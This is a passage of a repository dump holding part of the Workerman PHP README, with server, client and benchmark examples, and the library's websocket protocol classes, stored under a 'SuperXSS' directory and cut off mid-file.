21 | ```
22 |
23 | ## Basic Usage
24 |
25 | ### A websocket server
26 | ```php
27 | count = 4;
36 |
37 | // Emitted when new connection come
38 | $ws_worker->onConnect = function($connection)
39 | {
40 | echo "New connection\n";
41 | };
42 |
43 | // Emitted when data received
44 | $ws_worker->onMessage = function($connection, $data)
45 | {
46 | // Send hello $data
47 | $connection->send('hello ' . $data);
48 | };
49 |
50 | // Emitted when connection closed
51 | $ws_worker->onClose = function($connection)
52 | {
53 | echo "Connection closed\n";
54 | };
55 |
56 | // Run worker
57 | Worker::runAll();
58 | ```
59 |
60 | ### An http server
61 | ```php
62 | require_once __DIR__ . '/vendor/autoload.php';
63 | use Workerman\Worker;
64 |
65 | // #### http worker ####
66 | $http_worker = new Worker("http://0.0.0.0:2345");
67 |
68 | // 4 processes
69 | $http_worker->count = 4;
70 |
71 | // Emitted when data received
72 | $http_worker->onMessage = function($connection, $data)
73 | {
74 | // $_GET, $_POST, $_COOKIE, $_SESSION, $_SERVER, $_FILES are available
75 | var_dump($_GET, $_POST, $_COOKIE, $_SESSION, $_SERVER, $_FILES);
76 | // send data to client
77 | $connection->send("hello world \n");
78 | };
79 |
80 | // run all workers
81 | Worker::runAll();
82 | ```
83 |
84 | ### A WebServer
85 | ```php
86 | require_once __DIR__ . '/vendor/autoload.php';
87 | use Workerman\WebServer;
88 | use Workerman\Worker;
89 |
90 | // WebServer
91 | $web = new WebServer("http://0.0.0.0:80");
92 |
93 | // 4 processes
94 | $web->count = 4;
95 |
96 | // Set the root of domains
97 | $web->addRoot('www.your_domain.com', '/your/path/Web');
98 | $web->addRoot('www.another_domain.com', '/another/path/Web');
99 | // run all workers
100 | Worker::runAll();
101 | ```
102 |
103 | ### A tcp server
104 | ```php
105 | require_once __DIR__ . '/vendor/autoload.php';
106 | use Workerman\Worker;
107 |
108 | // #### create socket and listen 1234 port ####
109 | $tcp_worker = new Worker("tcp://0.0.0.0:1234");
110 |
111 | // 4 processes
112 | $tcp_worker->count = 4;
113 |
114 | // Emitted when new connection come
115 | $tcp_worker->onConnect = function($connection)
116 | {
117 | echo "New Connection\n";
118 | };
119 |
120 | // Emitted when data received
121 | $tcp_worker->onMessage = function($connection, $data)
122 | {
123 | // send data to client
124 | $connection->send("hello $data \n");
125 | };
126 |
127 | // Emitted when new connection come
128 | $tcp_worker->onClose = function($connection)
129 | {
130 | echo "Connection closed\n";
131 | };
132 |
133 | Worker::runAll();
134 | ```
135 |
136 | ### Enable SSL
137 | ```php
138 | array(
145 | 'local_cert' => '/your/path/of/server.pem',
146 | 'local_pk' => '/your/path/of/server.key',
147 | 'verify_peer' => false,
148 | )
149 | );
150 |
151 | // Create a Websocket server with ssl context.
152 | $ws_worker = new Worker("websocket://0.0.0.0:2346", $context);
153 |
154 | // Enable SSL. WebSocket+SSL means that Secure WebSocket (wss://).
155 | // The similar approaches for Https etc.
156 | $ws_worker->transport = 'ssl';
157 |
158 | $ws_worker->onMessage = function($connection, $data)
159 | {
160 | // Send hello $data
161 | $connection->send('hello ' . $data);
162 | };
163 |
164 | Worker::runAll();
165 | ```
166 |
167 | ### Custom protocol
168 | Protocols/MyTextProtocol.php
169 | ```php
170 | namespace Protocols;
171 | /**
172 | * User defined protocol
173 | * Format Text+"\n"
174 | */
175 | class MyTextProtocol
176 | {
177 | public static function input($recv_buffer)
178 | {
179 | // Find the position of the first occurrence of "\n"
180 | $pos = strpos($recv_buffer, "\n");
181 | // Not a complete package. Return 0 because the length of package can not be calculated
182 | if($pos === false)
183 | {
184 | return 0;
185 | }
186 | // Return length of the package
187 | return $pos+1;
188 | }
189 |
190 | public static function decode($recv_buffer)
191 | {
192 | return trim($recv_buffer);
193 | }
194 |
195 | public static function encode($data)
196 | {
197 | return $data."\n";
198 | }
199 | }
200 | ```
201 |
202 | ```php
203 | require_once __DIR__ . '/vendor/autoload.php';
204 | use Workerman\Worker;
205 |
206 | // #### MyTextProtocol worker ####
207 | $text_worker = new Worker("MyTextProtocol://0.0.0.0:5678");
208 |
209 | $text_worker->onConnect = function($connection)
210 | {
211 | echo "New connection\n";
212 | };
213 |
214 | $text_worker->onMessage = function($connection, $data)
215 | {
216 | // send data to client
217 | $connection->send("hello world \n");
218 | };
219 |
220 | $text_worker->onClose = function($connection)
221 | {
222 | echo "Connection closed\n";
223 | };
224 |
225 | // run all workers
226 | Worker::runAll();
227 | ```
228 |
229 | ### Timer
230 | ```php
231 | require_once __DIR__ . '/vendor/autoload.php';
232 | use Workerman\Worker;
233 | use Workerman\Lib\Timer;
234 |
235 | $task = new Worker();
236 | $task->onWorkerStart = function($task)
237 | {
238 | // 2.5 seconds
239 | $time_interval = 2.5;
240 | $timer_id = Timer::add($time_interval,
241 | function()
242 | {
243 | echo "Timer run\n";
244 | }
245 | );
246 | };
247 |
248 | // run all workers
249 | Worker::runAll();
250 | ```
251 |
252 | ### AsyncTcpConnection (tcp/ws/text/frame etc...)
253 | ```php
254 | require_once __DIR__ . '/vendor/autoload.php';
255 | use Workerman\Worker;
256 | use Workerman\Connection\AsyncTcpConnection;
257 |
258 | $worker = new Worker();
259 | $worker->onWorkerStart = function()
260 | {
261 | // Websocket protocol for client.
262 | $ws_connection = new AsyncTcpConnection("ws://echo.websocket.org:80");
263 | $ws_connection->onConnect = function($connection){
264 | $connection->send('hello');
265 | };
266 | $ws_connection->onMessage = function($connection, $data){
267 | echo "recv: $data\n";
268 | };
269 | $ws_connection->onError = function($connection, $code, $msg){
270 | echo "error: $msg\n";
271 | };
272 | $ws_connection->onClose = function($connection){
273 | echo "connection closed\n";
274 | };
275 | $ws_connection->connect();
276 | };
277 | Worker::runAll();
278 | ```
279 |
280 | ### Async Mysql of ReactPHP
281 | ```
282 | composer require react/mysql
283 | ```
284 |
285 | ```php
286 | onWorkerStart = function() {
292 | global $mysql;
293 | $loop = Worker::getEventLoop();
294 | $mysql = new React\MySQL\Connection($loop, array(
295 | 'host' => '127.0.0.1',
296 | 'dbname' => 'dbname',
297 | 'user' => 'user',
298 | 'passwd' => 'passwd',
299 | ));
300 | $mysql->on('error', function($e){
301 | echo $e;
302 | });
303 | $mysql->connect(function ($e) {
304 | if($e) {
305 | echo $e;
306 | } else {
307 | echo "connect success\n";
308 | }
309 | });
310 | };
311 | $worker->onMessage = function($connection, $data) {
312 | global $mysql;
313 | $mysql->query('show databases' /*trim($data)*/, function ($command, $mysql) use ($connection) {
314 | if ($command->hasError()) {
315 | $error = $command->getError();
316 | } else {
317 | $results = $command->resultRows;
318 | $fields = $command->resultFields;
319 | $connection->send(json_encode($results));
320 | }
321 | });
322 | };
323 | Worker::runAll();
324 | ```
325 |
326 | ### Async Redis of ReactPHP
327 | ```
328 | composer require clue/redis-react
329 | ```
330 |
331 | ```php
332 | onWorkerStart = function() {
341 | global $factory;
342 | $loop = Worker::getEventLoop();
343 | $factory = new Factory($loop);
344 | };
345 |
346 | $worker->onMessage = function($connection, $data) {
347 | global $factory;
348 | $factory->createClient('localhost:6379')->then(function (Client $client) use ($connection) {
349 | $client->set('greeting', 'Hello world');
350 | $client->append('greeting', '!');
351 |
352 | $client->get('greeting')->then(function ($greeting) use ($connection){
353 | // Hello world!
354 | echo $greeting . PHP_EOL;
355 | $connection->send($greeting);
356 | });
357 |
358 | $client->incr('invocation')->then(function ($n) use ($connection){
359 | echo 'This is invocation #' . $n . PHP_EOL;
360 | $connection->send($n);
361 | });
362 | });
363 | };
364 |
365 | Worker::runAll();
366 | ```
367 |
368 | ### Aysnc dns of ReactPHP
369 | ```
370 | composer require react/dns
371 | ```
372 |
373 | ```php
374 | require_once __DIR__ . '/vendor/autoload.php';
375 | use Workerman\Worker;
376 | $worker = new Worker('tcp://0.0.0.0:6161');
377 | $worker->onWorkerStart = function() {
378 | global $dns;
379 | // Get event-loop.
380 | $loop = Worker::getEventLoop();
381 | $factory = new React\Dns\Resolver\Factory();
382 | $dns = $factory->create('8.8.8.8', $loop);
383 | };
384 | $worker->onMessage = function($connection, $host) {
385 | global $dns;
386 | $host = trim($host);
387 | $dns->resolve($host)->then(function($ip) use($host, $connection) {
388 | $connection->send("$host: $ip");
389 | },function($e) use($host, $connection){
390 | $connection->send("$host: {$e->getMessage()}");
391 | });
392 | };
393 |
394 | Worker::runAll();
395 | ```
396 |
397 | ### Http client of ReactPHP
398 | ```
399 | composer require react/http-client
400 | ```
401 |
402 | ```php
403 | onWorkerStart = function() {
410 | global $client;
411 | $loop = Worker::getEventLoop();
412 | $factory = new React\Dns\Resolver\Factory();
413 | $dns = $factory->createCached('8.8.8.8', $loop);
414 | $factory = new React\HttpClient\Factory();
415 | $client = $factory->create($loop, $dns);
416 | };
417 |
418 | $worker->onMessage = function($connection, $host) {
419 | global $client;
420 | $request = $client->request('GET', trim($host));
421 | $request->on('error', function(Exception $e) use ($connection) {
422 | $connection->send($e);
423 | });
424 | $request->on('response', function ($response) use ($connection) {
425 | $response->on('data', function ($data, $response) use ($connection) {
426 | $connection->send($data);
427 | });
428 | });
429 | $request->end();
430 | };
431 |
432 | Worker::runAll();
433 | ```
434 |
435 | ### ZMQ of ReactPHP
436 | ```
437 | composer require react/zmq
438 | ```
439 |
440 | ```php
441 | onWorkerStart = function() {
448 | global $pull;
449 | $loop = Worker::getEventLoop();
450 | $context = new React\ZMQ\Context($loop);
451 | $pull = $context->getSocket(ZMQ::SOCKET_PULL);
452 | $pull->bind('tcp://127.0.0.1:5555');
453 |
454 | $pull->on('error', function ($e) {
455 | var_dump($e->getMessage());
456 | });
457 |
458 | $pull->on('message', function ($msg) {
459 | echo "Received: $msg\n";
460 | });
461 | };
462 |
463 | Worker::runAll();
464 | ```
465 |
466 | ### STOMP of ReactPHP
467 | ```
468 | composer require react/stomp
469 | ```
470 |
471 | ```php
472 | onWorkerStart = function() {
479 | global $client;
480 | $loop = Worker::getEventLoop();
481 | $factory = new React\Stomp\Factory($loop);
482 | $client = $factory->createClient(array('vhost' => '/', 'login' => 'guest', 'passcode' => 'guest'));
483 |
484 | $client
485 | ->connect()
486 | ->then(function ($client) use ($loop) {
487 | $client->subscribe('/topic/foo', function ($frame) {
488 | echo "Message received: {$frame->body}\n";
489 | });
490 | });
491 | };
492 |
493 | Worker::runAll();
494 | ```
495 |
496 |
497 |
498 | ## Available commands
499 | ```php start.php start ```
500 | ```php start.php start -d ```
501 | 
502 | ```php start.php status ```
503 | 
504 | ```php start.php connections```
505 | ```php start.php stop ```
506 | ```php start.php restart ```
507 | ```php start.php reload ```
508 |
509 | ## Documentation
510 |
511 | 中文主页:[http://www.workerman.net](http://www.workerman.net)
512 |
513 | 中文文档: [http://doc.workerman.net](http://doc.workerman.net)
514 |
515 | Documentation:[https://github.com/walkor/workerman-manual](https://github.com/walkor/workerman-manual/blob/master/english/src/SUMMARY.md)
516 |
517 | # Benchmarks
518 | ```
519 | CPU: Intel(R) Core(TM) i3-3220 CPU @ 3.30GHz and 4 processors totally
520 | Memory: 8G
521 | OS: Ubuntu 14.04 LTS
522 | Software: ab
523 | PHP: 5.5.9
524 | ```
525 |
526 | **Codes**
527 | ```php
528 | count=3;
532 | $worker->onMessage = function($connection, $data)
533 | {
534 | $connection->send("HTTP/1.1 200 OK\r\nConnection: keep-alive\r\nServer: workerman\r\nContent-Length: 5\r\n\r\nhello");
535 | };
536 | Worker::runAll();
537 | ```
538 | **Result**
539 |
540 | ```shell
541 | ab -n1000000 -c100 -k http://127.0.0.1:1234/
542 | This is ApacheBench, Version 2.3 <$Revision: 1528965 $>
543 | Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
544 | Licensed to The Apache Software Foundation, http://www.apache.org/
545 |
546 | Benchmarking 127.0.0.1 (be patient)
547 | Completed 100000 requests
548 | Completed 200000 requests
549 | Completed 300000 requests
550 | Completed 400000 requests
551 | Completed 500000 requests
552 | Completed 600000 requests
553 | Completed 700000 requests
554 | Completed 800000 requests
555 | Completed 900000 requests
556 | Completed 1000000 requests
557 | Finished 1000000 requests
558 |
559 |
560 | Server Software: workerman/3.1.4
561 | Server Hostname: 127.0.0.1
562 | Server Port: 1234
563 |
564 | Document Path: /
565 | Document Length: 5 bytes
566 |
567 | Concurrency Level: 100
568 | Time taken for tests: 7.240 seconds
569 | Complete requests: 1000000
570 | Failed requests: 0
571 | Keep-Alive requests: 1000000
572 | Total transferred: 73000000 bytes
573 | HTML transferred: 5000000 bytes
574 | Requests per second: 138124.14 [#/sec] (mean)
575 | Time per request: 0.724 [ms] (mean)
576 | Time per request: 0.007 [ms] (mean, across all concurrent requests)
577 | Transfer rate: 9846.74 [Kbytes/sec] received
578 |
579 | Connection Times (ms)
580 | min mean[+/-sd] median max
581 | Connect: 0 0 0.0 0 5
582 | Processing: 0 1 0.2 1 9
583 | Waiting: 0 1 0.2 1 9
584 | Total: 0 1 0.2 1 9
585 |
586 | Percentage of the requests served within a certain time (ms)
587 | 50% 1
588 | 66% 1
589 | 75% 1
590 | 80% 1
591 | 90% 1
592 | 95% 1
593 | 98% 1
594 | 99% 1
595 | 100% 9 (longest request)
596 |
597 | ```
598 |
599 |
600 | ## Other links with workerman
601 |
602 | [PHPSocket.IO](https://github.com/walkor/phpsocket.io)
603 | [php-socks5](https://github.com/walkor/php-socks5)
604 | [php-http-proxy](https://github.com/walkor/php-http-proxy)
605 |
606 | ## Donate
607 |
608 |
609 | ## LICENSE
610 |
611 | Workerman is released under the [MIT license](https://github.com/walkor/workerman/blob/master/MIT-LICENSE.txt).
612 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Protocols/Ws.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Protocols;
15 |
16 | use Workerman\Worker;
17 | use Workerman\Lib\Timer;
18 | use Workerman\Connection\TcpConnection;
19 |
20 | /**
21 | * Websocket protocol for client.
22 | */
23 | class Ws
24 | {
25 | /**
26 | * Websocket blob type.
27 | *
28 | * @var string
29 | */
30 | const BINARY_TYPE_BLOB = "\x81";
31 |
32 | /**
33 | * Websocket arraybuffer type.
34 | *
35 | * @var string
36 | */
37 | const BINARY_TYPE_ARRAYBUFFER = "\x82";
38 |
39 | /**
40 | * Check the integrity of the package.
41 | *
42 | * @param string $buffer
43 | * @param ConnectionInterface $connection
44 | * @return int
45 | */
46 | public static function input($buffer, $connection)
47 | {
48 | if (empty($connection->handshakeStep)) {
49 | echo "recv data before handshake. Buffer:" . bin2hex($buffer) . "\n";
50 | return false;
51 | }
52 | // Recv handshake response
53 | if ($connection->handshakeStep === 1) {
54 | return self::dealHandshake($buffer, $connection);
55 | }
56 | $recv_len = strlen($buffer);
57 | if ($recv_len < 2) {
58 | return 0;
59 | }
60 | // Buffer websocket frame data.
61 | if ($connection->websocketCurrentFrameLength) {
62 | // We need more frame data.
63 | if ($connection->websocketCurrentFrameLength > $recv_len) {
64 | // Return 0, because it is not clear the full packet length, waiting for the frame of fin=1.
65 | return 0;
66 | }
67 | } else {
68 |
69 | $firstbyte = ord($buffer[0]);
70 | $secondbyte = ord($buffer[1]);
71 | $data_len = $secondbyte & 127;
72 | $is_fin_frame = $firstbyte >> 7;
73 | $masked = $secondbyte >> 7;
74 |
75 | if ($masked) {
76 | echo "frame masked\n";
77 | $connection->close();
78 | return 0;
79 | }
80 |
81 | $opcode = $firstbyte & 0xf;
82 |
83 | switch ($opcode) {
84 | case 0x0:
85 | break;
86 | // Blob type.
87 | case 0x1:
88 | break;
89 | // Arraybuffer type.
90 | case 0x2:
91 | break;
92 | // Close package.
93 | case 0x8:
94 | // Try to emit onWebSocketClose callback.
95 | if (isset($connection->onWebSocketClose)) {
96 | try {
97 | call_user_func($connection->onWebSocketClose, $connection);
98 | } catch (\Exception $e) {
99 | Worker::log($e);
100 | exit(250);
101 | } catch (\Error $e) {
102 | Worker::log($e);
103 | exit(250);
104 | }
105 | } // Close connection.
106 | else {
107 | $connection->close();
108 | }
109 | return 0;
110 | // Ping package.
111 | case 0x9:
112 | // Try to emit onWebSocketPing callback.
113 | if (isset($connection->onWebSocketPing)) {
114 | try {
115 | call_user_func($connection->onWebSocketPing, $connection);
116 | } catch (\Exception $e) {
117 | Worker::log($e);
118 | exit(250);
119 | } catch (\Error $e) {
120 | Worker::log($e);
121 | exit(250);
122 | }
123 | } // Send pong package to client.
124 | else {
125 | $connection->send(pack('H*', '8a00'), true);
126 | }
127 | // Consume data from receive buffer.
128 | if (!$data_len) {
129 | $head_len = 2;
130 | $connection->consumeRecvBuffer($head_len);
131 | if ($recv_len > $head_len) {
132 | return self::input(substr($buffer, $head_len), $connection);
133 | }
134 | return 0;
135 | }
136 | break;
137 | // Pong package.
138 | case 0xa:
139 | // Try to emit onWebSocketPong callback.
140 | if (isset($connection->onWebSocketPong)) {
141 | try {
142 | call_user_func($connection->onWebSocketPong, $connection);
143 | } catch (\Exception $e) {
144 | Worker::log($e);
145 | exit(250);
146 | } catch (\Error $e) {
147 | Worker::log($e);
148 | exit(250);
149 | }
150 | }
151 | // Consume data from receive buffer.
152 | if (!$data_len) {
153 | $head_len = 2;
154 | $connection->consumeRecvBuffer($head_len);
155 | if ($recv_len > $head_len) {
156 | return self::input(substr($buffer, $head_len), $connection);
157 | }
158 | return 0;
159 | }
160 | break;
161 | // Wrong opcode.
162 | default :
163 | echo "error opcode $opcode and close websocket connection. Buffer:" . $buffer . "\n";
164 | $connection->close();
165 | return 0;
166 | }
167 | // Calculate packet length.
168 | if ($data_len === 126) {
169 | if (strlen($buffer) < 4) {
170 | return 0;
171 | }
172 | $pack = unpack('nn/ntotal_len', $buffer);
173 | $current_frame_length = $pack['total_len'] + 4;
174 | } else if ($data_len === 127) {
175 | if (strlen($buffer) < 10) {
176 | return 0;
177 | }
178 | $arr = unpack('n/N2c', $buffer);
179 | $current_frame_length = $arr['c1']*4294967296 + $arr['c2'] + 10;
180 | } else {
181 | $current_frame_length = $data_len + 2;
182 | }
183 |
184 | $total_package_size = strlen($connection->websocketDataBuffer) + $current_frame_length;
185 | if ($total_package_size > TcpConnection::$maxPackageSize) {
186 | echo "error package. package_length=$total_package_size\n";
187 | $connection->close();
188 | return 0;
189 | }
190 |
191 | if ($is_fin_frame) {
192 | return $current_frame_length;
193 | } else {
194 | $connection->websocketCurrentFrameLength = $current_frame_length;
195 | }
196 | }
197 | // Received just a frame length data.
198 | if ($connection->websocketCurrentFrameLength === $recv_len) {
199 | self::decode($buffer, $connection);
200 | $connection->consumeRecvBuffer($connection->websocketCurrentFrameLength);
201 | $connection->websocketCurrentFrameLength = 0;
202 | return 0;
203 | } // The length of the received data is greater than the length of a frame.
204 | elseif ($connection->websocketCurrentFrameLength < $recv_len) {
205 | self::decode(substr($buffer, 0, $connection->websocketCurrentFrameLength), $connection);
206 | $connection->consumeRecvBuffer($connection->websocketCurrentFrameLength);
207 | $current_frame_length = $connection->websocketCurrentFrameLength;
208 | $connection->websocketCurrentFrameLength = 0;
209 | // Continue to read next frame.
210 | return self::input(substr($buffer, $current_frame_length), $connection);
211 | } // The length of the received data is less than the length of a frame.
212 | else {
213 | return 0;
214 | }
215 | }
216 |
217 | /**
218 | * Websocket encode.
219 | *
220 | * @param string $buffer
221 | * @param ConnectionInterface $connection
222 | * @return string
223 | */
224 | public static function encode($payload, $connection)
225 | {
226 | if (empty($connection->websocketType)) {
227 | $connection->websocketType = self::BINARY_TYPE_BLOB;
228 | }
229 | $payload = (string)$payload;
230 | if (empty($connection->handshakeStep)) {
231 | self::sendHandshake($connection);
232 | }
233 | $mask = 1;
234 | $mask_key = "\x00\x00\x00\x00";
235 |
236 | $pack = '';
237 | $length = $length_flag = strlen($payload);
238 | if (65535 < $length) {
239 | $pack = pack('NN', ($length & 0xFFFFFFFF00000000) >> 32, $length & 0x00000000FFFFFFFF);
240 | $length_flag = 127;
241 | } else if (125 < $length) {
242 | $pack = pack('n*', $length);
243 | $length_flag = 126;
244 | }
245 |
246 | $head = ($mask << 7) | $length_flag;
247 | $head = $connection->websocketType . chr($head) . $pack;
248 |
249 | $frame = $head . $mask_key;
250 | // append payload to frame:
251 | for ($i = 0; $i < $length; $i++) {
252 | $frame .= $payload[$i] ^ $mask_key[$i % 4];
253 | }
254 | if ($connection->handshakeStep === 1) {
255 | // If buffer has already full then discard the current package.
256 | if (strlen($connection->tmpWebsocketData) > $connection->maxSendBufferSize) {
257 | if ($connection->onError) {
258 | try {
259 | call_user_func($connection->onError, $connection, WORKERMAN_SEND_FAIL, 'send buffer full and drop package');
260 | } catch (\Exception $e) {
261 | Worker::log($e);
262 | exit(250);
263 | } catch (\Error $e) {
264 | Worker::log($e);
265 | exit(250);
266 | }
267 | }
268 | return '';
269 | }
270 | $connection->tmpWebsocketData = $connection->tmpWebsocketData . $frame;
271 | // Check buffer is full.
272 | if ($connection->maxSendBufferSize <= strlen($connection->tmpWebsocketData)) {
273 | if ($connection->onBufferFull) {
274 | try {
275 | call_user_func($connection->onBufferFull, $connection);
276 | } catch (\Exception $e) {
277 | Worker::log($e);
278 | exit(250);
279 | } catch (\Error $e) {
280 | Worker::log($e);
281 | exit(250);
282 | }
283 | }
284 | }
285 | return '';
286 | }
287 | return $frame;
288 | }
289 |
290 | /**
291 | * Websocket decode.
292 | *
293 | * @param string $buffer
294 | * @param ConnectionInterface $connection
295 | * @return string
296 | */
297 | public static function decode($bytes, $connection)
298 | {
299 | $data_length = ord($bytes[1]);
300 |
301 | if ($data_length === 126) {
302 | $decoded_data = substr($bytes, 4);
303 | } else if ($data_length === 127) {
304 | $decoded_data = substr($bytes, 10);
305 | } else {
306 | $decoded_data = substr($bytes, 2);
307 | }
308 | if ($connection->websocketCurrentFrameLength) {
309 | $connection->websocketDataBuffer .= $decoded_data;
310 | return $connection->websocketDataBuffer;
311 | } else {
312 | if ($connection->websocketDataBuffer !== '') {
313 | $decoded_data = $connection->websocketDataBuffer . $decoded_data;
314 | $connection->websocketDataBuffer = '';
315 | }
316 | return $decoded_data;
317 | }
318 | }
319 |
320 | /**
321 | * Send websocket handshake data.
322 | *
323 | * @return void
324 | */
325 | public static function onConnect($connection)
326 | {
327 | self::sendHandshake($connection);
328 | }
329 |
330 | /**
331 | * Clean
332 | *
333 | * @param $connection
334 | */
335 | public static function onClose($connection)
336 | {
337 | $connection->handshakeStep = null;
338 | $connection->websocketCurrentFrameLength = 0;
339 | $connection->tmpWebsocketData = '';
340 | $connection->websocketDataBuffer = '';
341 | if (!empty($connection->websocketPingTimer)) {
342 | Timer::del($connection->websocketPingTimer);
343 | $connection->websocketPingTimer = null;
344 | }
345 | }
346 |
347 | /**
348 | * Send websocket handshake.
349 | *
350 | * @param \Workerman\Connection\TcpConnection $connection
351 | * @return void
352 | */
353 | public static function sendHandshake($connection)
354 | {
355 | if (!empty($connection->handshakeStep)) {
356 | return;
357 | }
358 | // Get Host.
359 | $port = $connection->getRemotePort();
360 | $host = $port === 80 ? $connection->getRemoteHost() : $connection->getRemoteHost() . ':' . $port;
361 | // Handshake header.
362 | $connection->websocketSecKey = base64_encode(md5(mt_rand(), true));
363 | $userHeader = '';
364 | if (!empty($connection->wsHttpHeader)) {
365 | if (is_array($connection->wsHttpHeader)){
366 | foreach($connection->wsHttpHeader as $k=>$v){
367 | $userHeader .= "$k: $v\r\n";
368 | }
369 | }else{
370 | $userHeader .= $connection->wsHttpHeader;
371 | }
372 | $userHeader = "\r\n".trim($userHeader);
373 | }
374 | $header = 'GET ' . $connection->getRemoteURI() . " HTTP/1.1\r\n".
375 | "Host: $host\r\n".
376 | "Connection: Upgrade\r\n".
377 | "Upgrade: websocket\r\n".
378 | "Origin: ". (isset($connection->websocketOrigin) ? $connection->websocketOrigin : '*') ."\r\n".
379 | (isset($connection->WSClientProtocol)?"Sec-WebSocket-Protocol: ".$connection->WSClientProtocol."\r\n":'').
380 | "Sec-WebSocket-Version: 13\r\n".
381 | "Sec-WebSocket-Key: " . $connection->websocketSecKey . $userHeader . "\r\n\r\n";
382 | $connection->send($header, true);
383 | $connection->handshakeStep = 1;
384 | $connection->websocketCurrentFrameLength = 0;
385 | $connection->websocketDataBuffer = '';
386 | $connection->tmpWebsocketData = '';
387 | }
388 |
389 | /**
390 | * Websocket handshake.
391 | *
392 | * @param string $buffer
393 | * @param \Workerman\Connection\TcpConnection $connection
394 | * @return int
395 | */
396 | public static function dealHandshake($buffer, $connection)
397 | {
398 | $pos = strpos($buffer, "\r\n\r\n");
399 | if ($pos) {
400 | //checking Sec-WebSocket-Accept
401 | if (preg_match("/Sec-WebSocket-Accept: *(.*?)\r\n/i", $buffer, $match)) {
402 | if ($match[1] !== base64_encode(sha1($connection->websocketSecKey . "258EAFA5-E914-47DA-95CA-C5AB0DC85B11", true))) {
403 | echo "Sec-WebSocket-Accept not match. Header:\n" . substr($buffer, 0, $pos) . "\n";
404 | $connection->close();
405 | return 0;
406 | }
407 | } else {
408 | echo "Sec-WebSocket-Accept not found. Header:\n" . substr($buffer, 0, $pos) . "\n";
409 | $connection->close();
410 | return 0;
411 | }
412 |
413 | // handshake complete
414 |
415 | // Get WebSocket subprotocol (if specified by server)
416 | if (preg_match("/Sec-WebSocket-Protocol: *(.*?)\r\n/i", $buffer, $match)) {
417 | $connection->WSServerProtocol = trim($match[1]);
418 | }
419 |
420 | $connection->handshakeStep = 2;
421 | $handshake_response_length = $pos + 4;
422 | // Try to emit onWebSocketConnect callback.
423 | if (isset($connection->onWebSocketConnect)) {
424 | try {
425 | call_user_func($connection->onWebSocketConnect, $connection, substr($buffer, 0, $handshake_response_length));
426 | } catch (\Exception $e) {
427 | Worker::log($e);
428 | exit(250);
429 | } catch (\Error $e) {
430 | Worker::log($e);
431 | exit(250);
432 | }
433 | }
434 | // Headbeat.
435 | if (!empty($connection->websocketPingInterval)) {
436 | $connection->websocketPingTimer = Timer::add($connection->websocketPingInterval, function() use ($connection){
437 | if (false === $connection->send(pack('H*', '898000000000'), true)) {
438 | Timer::del($connection->websocketPingTimer);
439 | $connection->websocketPingTimer = null;
440 | }
441 | });
442 | }
443 |
444 | $connection->consumeRecvBuffer($handshake_response_length);
445 | if (!empty($connection->tmpWebsocketData)) {
446 | $connection->send($connection->tmpWebsocketData, true);
447 | $connection->tmpWebsocketData = '';
448 | }
449 | if (strlen($buffer) > $handshake_response_length) {
450 | return self::input(substr($buffer, $handshake_response_length), $connection);
451 | }
452 | }
453 | return 0;
454 | }
455 |
456 | public static function WSSetProtocol($connection, $params) {
457 | $connection->WSClientProtocol = $params[0];
458 | }
459 |
460 | public static function WSGetServerProtocol($connection) {
461 | return (property_exists($connection, 'WSServerProtocol')?$connection->WSServerProtocol:null);
462 | }
463 |
464 | }
465 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Protocols/Websocket.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Protocols;
15 |
16 | use Workerman\Connection\ConnectionInterface;
17 | use Workerman\Connection\TcpConnection;
18 | use Workerman\Worker;
19 |
20 | /**
21 | * WebSocket protocol.
22 | */
23 | class Websocket implements \Workerman\Protocols\ProtocolInterface
24 | {
25 | /**
26 | * Websocket blob type.
27 | *
28 | * @var string
29 | */
30 | const BINARY_TYPE_BLOB = "\x81";
31 |
32 | /**
33 | * Websocket arraybuffer type.
34 | *
35 | * @var string
36 | */
37 | const BINARY_TYPE_ARRAYBUFFER = "\x82";
38 |
39 | /**
40 | * Check the integrity of the package.
41 | *
42 | * @param string $buffer
43 | * @param ConnectionInterface $connection
44 | * @return int
45 | */
46 | public static function input($buffer, ConnectionInterface $connection)
47 | {
48 | // Receive length.
49 | $recv_len = strlen($buffer);
50 | // We need more data.
51 | if ($recv_len < 6) {
52 | return 0;
53 | }
54 |
55 | // Has not yet completed the handshake.
56 | if (empty($connection->websocketHandshake)) {
57 | return static::dealHandshake($buffer, $connection);
58 | }
59 |
60 | // Buffer websocket frame data.
61 | if ($connection->websocketCurrentFrameLength) {
62 | // We need more frame data.
63 | if ($connection->websocketCurrentFrameLength > $recv_len) {
64 | // Return 0, because it is not clear the full packet length, waiting for the frame of fin=1.
65 | return 0;
66 | }
67 | } else {
68 | $firstbyte = ord($buffer[0]);
69 | $secondbyte = ord($buffer[1]);
70 | $data_len = $secondbyte & 127;
71 | $is_fin_frame = $firstbyte >> 7;
72 | $masked = $secondbyte >> 7;
73 |
74 | if (!$masked) {
75 | echo "frame not masked\n";
76 | $connection->close();
77 | return 0;
78 | }
79 |
80 | $opcode = $firstbyte & 0xf;
81 | switch ($opcode) {
82 | case 0x0:
83 | break;
84 | // Blob type.
85 | case 0x1:
86 | break;
87 | // Arraybuffer type.
88 | case 0x2:
89 | break;
90 | // Close package.
91 | case 0x8:
92 | // Try to emit onWebSocketClose callback.
93 | if (isset($connection->onWebSocketClose) || isset($connection->worker->onWebSocketClose)) {
94 | try {
95 | call_user_func(isset($connection->onWebSocketClose)?$connection->onWebSocketClose:$connection->worker->onWebSocketClose, $connection);
96 | } catch (\Exception $e) {
97 | Worker::log($e);
98 | exit(250);
99 | } catch (\Error $e) {
100 | Worker::log($e);
101 | exit(250);
102 | }
103 | } // Close connection.
104 | else {
105 | $connection->close();
106 | }
107 | return 0;
108 | // Ping package.
109 | case 0x9:
110 | // Try to emit onWebSocketPing callback.
111 | if (isset($connection->onWebSocketPing) || isset($connection->worker->onWebSocketPing)) {
112 | try {
113 | call_user_func(isset($connection->onWebSocketPing)?$connection->onWebSocketPing:$connection->worker->onWebSocketPing, $connection);
114 | } catch (\Exception $e) {
115 | Worker::log($e);
116 | exit(250);
117 | } catch (\Error $e) {
118 | Worker::log($e);
